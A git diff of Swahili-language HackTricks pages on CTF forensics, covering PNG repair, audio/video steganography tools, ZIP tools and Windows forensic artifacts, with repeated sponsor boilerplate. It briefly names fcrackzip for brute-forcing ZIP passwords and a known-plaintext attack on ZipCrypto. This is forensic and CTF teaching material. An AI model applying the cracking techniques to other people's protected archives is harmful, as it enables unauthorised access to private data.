* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Faili za PNG** zinathaminiwa sana katika **changamoto za CTF** kwa **kupunguza bila kupoteza data**, hivyo ni bora kwa kujumuisha data iliyofichwa. Zana kama **Wireshark** huwezesha uchambuzi wa faili za PNG kwa kuchambua data zake ndani ya pakiti za mtandao, kufunua habari iliyofichwa au hitilafu.
|
||||
|
||||
Kwa kuchunguza uadilifu wa faili za PNG na kurekebisha uharibifu, **pngcheck** ni zana muhimu, ikitoa utendaji wa mstari wa amri kuthibitisha na kutambua faili za PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Wakati faili zinapita zaidi ya marekebisho ya kawaida, huduma za mtandaoni kama [PixRecovery ya OfficeRecovery](https://online.officerecovery.com/pixrecovery/) hutoa suluhisho la wavuti kwa **kurekebisha PNG zilizoharibika**, kusaidia katika kupona kwa data muhimu kwa washiriki wa CTF.
|
||||
|
||||
Mbinu hizi zinaonyesha umuhimu wa njia kamili katika CTFs, kutumia mchanganyiko wa zana za uchambuzi na mbinu za marekebisho kugundua na kupona data iliyofichwa au iliyopotea.
|
||||
|
|
|
|||
|
|
@ -1,41 +1,28 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Udanganyifu wa faili za sauti na video** ni muhimu katika changamoto za **uchunguzi wa CTF**, kwa kutumia **steganografia** na uchambuzi wa metadata kuificha au kuifunua ujumbe wa siri. Zana kama **[mediainfo](https://mediaarea.net/en/MediaInfo)** na **`exiftool`** ni muhimu kwa uchunguzi wa metadata ya faili na kutambua aina za yaliyomo.
|
||||
**Udanganyifu wa faili za sauti na video** ni muhimu katika **changamoto za uchunguzi wa CTF**, ikichanganya **steganografia** na uchambuzi wa metadata kuficha au kufunua ujumbe wa siri. Zana kama **[mediainfo](https://mediaarea.net/en/MediaInfo)** na **`exiftool`** ni muhimu kwa kuangalia metadata ya faili na kutambua aina za yaliyomo.
|
||||
|
||||
Kwa changamoto za sauti, **[Audacity](http://www.audacityteam.org/)** inajulikana kama zana bora kwa kuangalia mifumo ya wimbi na kuchambua spectrograms, muhimu kwa kugundua maandishi yaliyofichwa kwenye sauti. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** inapendekezwa sana kwa uchambuzi wa kina wa spectrogram. **Audacity** inaruhusu udanganyifu wa sauti kama kupunguza kasi au kurudisha nyimbo ili kugundua ujumbe uliofichwa. **[Sox](http://sox.sourceforge.net/)**, kifaa cha amri, kinashinda katika kubadilisha na kuhariri faili za sauti.
|
||||
Kwa changamoto za sauti, **[Audacity](http://www.audacityteam.org/)** inajulikana kama zana bora kwa kuona waveform na kuchambua spectrograms, muhimu kwa kugundua maandishi yaliyohifadhiwa kwenye sauti. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** inapendekezwa sana kwa uchambuzi wa kina wa spectrogram. **Audacity** inaruhusu udanganyifu wa sauti kama kupunguza kasi au kurudisha nyimbo ili kugundua ujumbe uliofichwa. **[Sox](http://sox.sourceforge.net/)**, zana ya mstari wa amri, inafaulu katika kubadilisha na kuhariri faili za sauti.
|
||||
|
||||
Udanganyifu wa **Biti za Kusitiri Zisizo na Maana (LSB)** ni mbinu ya kawaida katika steganografia ya sauti na video, ikichangamkia vipande vya ukubwa uliowekwa wa faili za media ili kuingiza data kwa siri. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** inafaa kwa kuchanganua ujumbe uliofichwa kama **sauti za DTMF** au **Morse code**.
|
||||
Udanganyifu wa **Biti za Kimaanisha Kidogo (LSB)** ni mbinu ya kawaida katika steganografia ya sauti na video, ikichexploitisha vipande vya ukubwa uliowekwa wa faili za media kuficha data kwa siri. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** ni muhimu kwa kudecode ujumbe uliofichwa kama **toni za DTMF** au **Msimbo wa Morse**.
|
||||
|
||||
Changamoto za video mara nyingi zinahusisha muundo wa chombo ambao unajumuisha vifurushi vya sauti na video. **[FFmpeg](http://ffmpeg.org/)** ni chombo kinachotumiwa kwa kuchanganua na kudanganya muundo huu, kikiweza kuvunja na kucheza yaliyomo. Kwa waendelezaji, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** inaunganisha uwezo wa FFmpeg ndani ya Python kwa mwingiliano wa skrini ya juu.
|
||||
Changamoto za video mara nyingi zinahusisha muundo wa chombo ambao unajumuisha mitiririko ya sauti na video. **[FFmpeg](http://ffmpeg.org/)** ni chombo cha kawaida kwa uchambuzi na udanganyifu wa muundo huu, kikiweza kudemultiplex na kucheza tena yaliyomo. Kwa wabunifu, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** inaingiza uwezo wa FFmpeg ndani ya Python kwa mwingiliano wa scriptable wa juu.
|
||||
|
||||
Uchaguzi huu wa zana unasisitiza uwezo unaohitajika katika changamoto za CTF, ambapo washiriki lazima watumie wigo mpana wa mbinu za uchambuzi na udanganyifu ili kugundua data iliyofichwa ndani ya faili za sauti na video.
|
||||
Kundi hili la zana linathibitisha uwezo unaohitajika katika changamoto za CTF, ambapo washiriki lazima watumie wigo mpana wa mbinu za uchambuzi na udanganyifu kugundua data iliyofichwa ndani ya faili za sauti na video.
|
||||
|
||||
## Marejeo
|
||||
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,44 +1,46 @@
|
|||
# Mbinu za ZIPs
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Zana za amri** za kusimamia **faili za zip** ni muhimu kwa kuchunguza, kurekebisha, na kudukua faili za zip. Hapa kuna zana muhimu:
|
||||
**Zana za mstari wa amri** kwa ajili ya kusimamia **faili za zip** ni muhimu kwa kugundua, kurekebisha, na kuvunja faili za zip. Hapa kuna baadhi ya zana muhimu:
|
||||
|
||||
- **`unzip`**: Inaonyesha sababu kwa nini faili ya zip haiwezi kufunguliwa.
|
||||
- **`zipdetails -v`**: Hutoa uchambuzi wa kina wa uwanja wa muundo wa faili ya zip.
|
||||
- **`zipinfo`**: Inaorodhesha maudhui ya faili ya zip bila kuyatoa.
|
||||
- **`unzip`**: Inaonyesha kwa nini faili ya zip huenda isifunguke.
|
||||
- **`zipdetails -v`**: Inatoa uchambuzi wa kina wa uga wa muundo wa faili ya zip.
|
||||
- **`zipinfo`**: Inaorodhesha maudhui ya faili ya zip bila kuzitoa.
|
||||
- **`zip -F input.zip --out output.zip`** na **`zip -FF input.zip --out output.zip`**: Jaribu kurekebisha faili za zip zilizoharibika.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Zana ya kudukua nywila za zip kwa kutumia nguvu ya kubashiri, inafaa kwa nywila zenye herufi hadi takriban 7.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Zana ya kuvunja nguvu ya nywila za zip, yenye ufanisi kwa nywila zenye herufi karibu 7.
|
||||
|
||||
[Maelezo ya muundo wa faili ya zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) hutoa maelezo kamili juu ya muundo na viwango vya faili za zip.
|
||||
[Specifikesheni ya muundo wa faili ya Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) hutoa maelezo kamili kuhusu muundo na viwango vya faili za zip.
|
||||
|
||||
Ni muhimu kuzingatia kuwa faili za zip zilizolindwa kwa nywila **hazifichii majina ya faili au ukubwa wa faili** ndani yake, ni dosari ya usalama ambayo haishirikiwa na faili za RAR au 7z ambazo huficha habari hii kwa kuzificha. Zaidi ya hayo, faili za zip zilizolindwa kwa njia ya ZipCrypto ya zamani ziko hatarini kwa **shambulio la maandishi wazi** ikiwa nakala isiyolindwa ya faili iliyopunguzwa ipo. Shambulio hili linatumia yaliyomo yanayojulikana kudukua nywila ya zip, dosari ambayo imeelezewa kwa undani katika [makala ya HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) na kufafanuliwa zaidi katika [karatasi hii ya kisayansi](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). Walakini, faili za zip zilizolindwa kwa **AES-256** ziko salama dhidi ya shambulio hili la maandishi wazi, ikionyesha umuhimu wa kuchagua njia salama za kusimbua data nyeti.
|
||||
Ni muhimu kutambua kwamba faili za zip zilizolindwa kwa nywila **hazifanyi faili za jina au ukubwa wa faili** ndani yake, kasoro ya usalama ambayo haishirikiwa na faili za RAR au 7z ambazo hulinda habari hii. Zaidi ya hayo, faili za zip zilizolindwa kwa njia ya ZipCrypto ya zamani ziko hatarini kwa **shambulio la maandishi wazi** ikiwa nakala isiyolindwa ya faili iliyosimbwa ipo. Shambulio hili hutumia yaliyomo kujaribu kuvunja nywila ya zip, kasoro iliyoelezwa kwa undani katika [makala ya HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) na kufafanuliwa zaidi katika [karatasi hii ya kisayansi](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). Hata hivyo, faili za zip zilizolindwa na **AES-256** ziko salama dhidi ya shambulio hili la maandishi wazi, ikionyesha umuhimu wa kuchagua njia salama za kusimbua data nyeti.
|
||||
|
||||
## Marejeo
|
||||
* [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||
* [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -2,19 +2,20 @@
|
|||
|
||||
## Vitu vya Windows
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -26,17 +27,17 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
Katika njia `\Users\<jina la mtumiaji>\AppData\Local\Microsoft\Windows\Notifications` unaweza kupata database `appdb.dat` (kabla ya Windows anniversary) au `wpndatabase.db` (baada ya Windows Anniversary).
|
||||
|
||||
Ndani ya hii database ya SQLite, unaweza kupata meza ya `Notification` na taarifa zote za arifa (kwa muundo wa XML) ambazo zinaweza kuwa na data ya kuvutia.
|
||||
Ndani ya database hii ya SQLite, unaweza kupata meza ya `Notification` na taarifa zote za arifa (kwa muundo wa XML) ambazo zinaweza kuwa na data muhimu.
|
||||
|
||||
### Muda
|
||||
|
||||
Muda ni sifa ya Windows ambayo hutoa **historia ya mfululizo** ya kurasa za wavuti zilizotembelewa, nyaraka zilizohaririwa, na programu zilizotekelezwa.
|
||||
|
||||
Database iko katika njia `\Users\<jina la mtumiaji>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Hii database inaweza kufunguliwa na chombo cha SQLite au na chombo [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **ambacho huzalisha faili 2 ambazo zinaweza kufunguliwa na chombo** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
Database iko katika njia `\Users\<jina la mtumiaji>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Database hii inaweza kufunguliwa na chombo cha SQLite au na chombo [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **ambacho huzalisha faili 2 ambazo zinaweza kufunguliwa na chombo** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
### ADS (Vijia vya Data Badala)
|
||||
|
||||
Faili zilizopakuliwa zinaweza kuwa na **ADS Zone.Identifier** inayoonyesha **jinsi** ilivyopakuliwa kutoka kwa mtandao wa ndani, mtandao, n.k. Baadhi ya programu (kama vivinjari) kawaida huingiza **habari zaidi** kama **URL** ambapo faili ilipakuliwa.
|
||||
Faili zilizopakuliwa zinaweza kuwa na **ADS Zone.Identifier** inayoonyesha **jinsi** ilivyopakuliwa kutoka kwenye mtandao wa ndani, mtandao, n.k. Baadhi ya programu (kama vivinjari) kawaida huingiza **habari zaidi** kama **URL** ambapo faili ilipakuliwa.
|
||||
|
||||
## **Nakala za Faili**
|
||||
|
||||
|
|
@ -45,26 +46,26 @@ Faili zilizopakuliwa zinaweza kuwa na **ADS Zone.Identifier** inayoonyesha **jin
|
|||
Katika Vista/Win7/Win8/Win10 **Bakuli la Takataka** linaweza kupatikana katika folda **`$Recycle.bin`** kwenye mizizi ya diski (`C:\$Recycle.bin`).\
|
||||
Wakati faili inapofutwa katika folda hii, faili 2 maalum huzalishwa:
|
||||
|
||||
* `$I{id}`: Taarifa ya faili (tarehe ilipofutwa}
|
||||
* `$I{id}`: Taarifa za faili (tarehe ya kufutwa}
|
||||
* `$R{id}`: Yaliyomo ya faili
|
||||
|
||||
.png>)
|
||||
|
||||
Ukiwa na faili hizi unaweza kutumia chombo [**Rifiuti**](https://github.com/abelcheung/rifiuti2) kupata anwani ya asili ya faili zilizofutwa na tarehe ilipofutwa (tumia `rifiuti-vista.exe` kwa Vista – Win10).
|
||||
Ukiwa na faili hizi, unaweza kutumia chombo [**Rifiuti**](https://github.com/abelcheung/rifiuti2) kupata anwani ya asili ya faili zilizofutwa na tarehe iliyofutwa (tumia `rifiuti-vista.exe` kwa Vista – Win10).
|
||||
```
|
||||
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||
```
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
### Nakala za Kivuli za Kiasi
|
||||
### Nakala za Kivuli za Vifaa
|
||||
|
||||
Kivuli cha Kiasi ni teknolojia iliyojumuishwa katika Microsoft Windows ambayo inaweza kuunda **nakala za rudufu** au picha za haraka za faili au kiasi cha kompyuta, hata wanapotumiwa.
|
||||
Kivuli cha Nakala ni teknolojia iliyomo katika Microsoft Windows inayoweza kuunda **nakala za nakala rudufu** au picha ndogo za faili au sehemu za kompyuta, hata wakati zinatumika.
|
||||
|
||||
Nakala hizi za rudufu kawaida zinapatikana katika `\System Volume Information` kutoka kwa mzizi wa mfumo wa faili na jina linaundwa na **UIDs** zilizoonyeshwa katika picha ifuatayo:
|
||||
Nakala hizi za rudufu kawaida zinapatikana katika `\System Volume Information` kutoka kwa mzizi wa mfumo wa faili na jina linajumuisha **UIDs** zilizoonyeshwa katika picha ifuatayo:
|
||||
|
||||
.png>)
|
||||
|
||||
Kwa kufunga picha ya uchunguzi na **ArsenalImageMounter**, zana [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) inaweza kutumika kuangalia nakala ya kivuli na hata **kutoa faili** kutoka kwa nakala za rudufu za kivuli.
|
||||
Kwa kufunga picha ya uchunguzi kwa kutumia **ArsenalImageMounter**, zana [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) inaweza kutumika kuangalia nakala ya kivuli na hata **kutoa faili** kutoka kwa nakala za rudufu za kivuli.
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -72,43 +73,43 @@ Kuingia kwa usajili `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupR
|
|||
|
||||
.png>)
|
||||
|
||||
Usajili `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` pia una habari ya usanidi kuhusu `Nakala za Kivuli za Kiasi`.
|
||||
Usajili `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` pia una habari ya usanidi kuhusu `Nakala za Kivuli za Vifaa`.
|
||||
|
||||
### Faili za Kiotomatiki za Kuhifadhiwa kwa Ofisi
|
||||
|
||||
Unaweza kupata faili za kuhifadhiwa kwa ofisi katika: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
|
||||
## Vipengele vya Kifaa cha Shell
|
||||
## Vipengele vya Shell
|
||||
|
||||
Kipengele cha kifaa cha shell ni kipengele kinachojumuisha habari juu ya jinsi ya kufikia faili nyingine.
|
||||
Kipengele cha shell ni kipengele kinachojumuisha habari juu ya jinsi ya kupata faili nyingine.
|
||||
|
||||
### Nyaraka za Hivi Karibuni (LNK)
|
||||
|
||||
Windows **kiotomatiki** **huunda** hizi **vielekezo** wakati mtumiaji **anapofungua, kutumia au kuunda faili** katika:
|
||||
Windows **kiotomatiki** **huunda** viungo hivi **vikorofi** wakati mtumiaji **anapofungua, kutumia au kuunda faili** katika:
|
||||
|
||||
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||
* Ofisi: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||
|
||||
Wakati saraka inapoundwa, kiungo kwa saraka, kwa saraka ya mzazi, na kwa babu wa saraka pia hujengwa.
|
||||
Unapounda folda, kiungo kwa folda, kwa folda mama, na kwa folda ya babu pia hujengwa.
|
||||
|
||||
Faili hizi za viungo zilizoundwa **kiotomatiki** **zina habari kuhusu asili** kama ikiwa ni **faili** **au** saraka, **nyakati za MAC** za faili hiyo, **habari ya kiasi** ambapo faili imehifadhiwa na **saraka ya faili ya lengo**. Habari hii inaweza kuwa na manufaa kwa kupona faili hizo ikiwa zimeondolewa.
|
||||
Faili hizi za viungo zilizoundwa kiotomatiki **zina habari kuhusu asili** kama ikiwa ni **faili** **au** **folda**, **nyakati za MAC** za faili hiyo, **habari ya kiasi** ambapo faili imewekwa na **folda ya faili ya lengo**. Habari hii inaweza kuwa muhimu kwa kupona faili hizo ikiwa zimeondolewa.
|
||||
|
||||
Pia, **tarehe ya uundaji wa faili ya kiungo** ni **wakati wa kwanza** faili ya asili ilikuwa **imetumiwa kwanza** na **tarehe iliyobadilishwa** ya faili ya kiungo ni **wakati wa mwisho** faili ya asili iliotumiwa.
|
||||
